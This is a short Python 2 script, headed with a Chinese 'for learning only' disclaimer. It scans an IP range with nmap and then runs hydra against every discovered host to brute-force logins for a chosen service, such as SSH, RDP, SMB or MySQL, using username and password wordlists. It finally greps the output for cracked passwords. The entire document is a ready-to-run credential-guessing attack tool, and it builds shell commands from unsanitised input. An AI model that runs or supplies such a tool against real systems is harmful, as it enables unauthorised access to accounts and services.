程序仅供学习。

 

 1 #!/usr/bin/python
 2 import os
 3 import time
 4 ip=raw_input("Enter the ip,example:  192.168.1.0-254:\n")
 5 service = raw_input("Enter the Service port Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp: \n")
 6 port=raw_input("Enter the Service port Example: rdp:3389 smb:445....:  \n")
 7 userfile=raw_input("Enter the username file path: Example: /etc/username.txt \n")
 8 psfile =raw_input("Enter the password file path,Example: /etc/passwd.txt: \n")
 9 os.system("touch 1.txt")
10 b=open("1.txt","w")
11 os.system("nmap -T4 -p%s %s -v |grep Discovered |awk '{print$6}' >1.txt"%(port,ip))
12 b.close()
13 b = open("1.txt","r")
14 for str in b:
15     str=str.rstrip()
16     print   os.system("hydra -4 %s://%s  -L %s  -P %s >2.txt"%(service,str,userfile,psfile))
17     time.sleep(5)
18 os.system("cat 2.txt|grep password")
19 b.close()